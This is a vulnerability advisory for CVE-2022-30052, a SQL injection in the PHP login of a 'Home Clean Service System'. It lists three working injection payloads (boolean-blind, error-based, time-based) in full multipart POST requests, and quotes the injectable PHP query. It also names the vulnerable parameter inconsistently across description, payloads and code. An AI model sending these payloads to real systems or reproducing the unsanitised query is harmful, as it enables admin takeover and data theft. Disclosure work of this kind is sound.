CVE-2022-30052: CVE-nu11secur1ty/vendors/acetech/2022/Home-Clean-Service-System at main · nu11secur1ty/CVE-nu11secur1ty

Home Clean Service System****Vendor

Description:

The password parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the password parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

— Parameter: MULTIPART email ((custom) POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: ------WebKitFormBoundary8kMPLwTOJeesgEBx Content-Disposition: form-data; name="email"

[email protected]’ OR NOT 6564=6564-- aWQp ------WebKitFormBoundary8kMPLwTOJeesgEBx Content-Disposition: form-data; name="password" t8I!x2y!H3’ ------WebKitFormBoundary8kMPLwTOJeesgEBx Content-Disposition: form-data; name="login"

------WebKitFormBoundary8kMPLwTOJeesgEBx–

Type: error\-based
Title: MySQL \>= 5.0 AND error\-based \- WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: \--\----WebKitFormBoundary8kMPLwTOJeesgEBx

Content-Disposition: form-data; name="email"

[email protected]’ AND (SELECT 6279 FROM(SELECT COUNT(*),CONCAT(0x7176716271,(SELECT (ELT(6279=6279,1))),0x716a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- LSfT ------WebKitFormBoundary8kMPLwTOJeesgEBx Content-Disposition: form-data; name="password" t8I!x2y!H3’ ------WebKitFormBoundary8kMPLwTOJeesgEBx Content-Disposition: form-data; name="login"

------WebKitFormBoundary8kMPLwTOJeesgEBx–

Type: time\-based blind
Title: MySQL \>= 5.0.12 AND time\-based blind (query SLEEP)
Payload: \--\----WebKitFormBoundary8kMPLwTOJeesgEBx

Content-Disposition: form-data; name="email"

[email protected]’ AND (SELECT 4830 FROM (SELECT(SLEEP(5)))kgBM)-- GxTm ------WebKitFormBoundary8kMPLwTOJeesgEBx Content-Disposition: form-data; name="password" t8I!x2y!H3’ ------WebKitFormBoundary8kMPLwTOJeesgEBx Content-Disposition: form-data; name="login"

------WebKitFormBoundary8kMPLwTOJeesgEBx– —

Vulnerable code:

<?php session_start(); $username = $_POST[‘username’]; $password = $_POST[‘password’]; if(ISSET($_POST[‘login’])){ $conn = new mysqli(“localhost","root","","activity”) or die(mysqli_error()); $query = $conn->query(“SELECT *FROM `admin` WHERE `username` = ‘$username’ && `password` = '$password’”) or die(mysqli_error()); $fetch = $query->fetch_array(); $valid = $query->num_rows; if($valid > 0){ $_SESSION[‘admin_id’] = $fetch[‘admin_id’]; header(“location:./dashboard.php”); }else{ echo "<script>alert(‘Invalid username or password’)</script>"; echo "<script>window.location = 'index.php’</script>"; } $conn->close(); }

Reproduce:

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Proof and Exploit:

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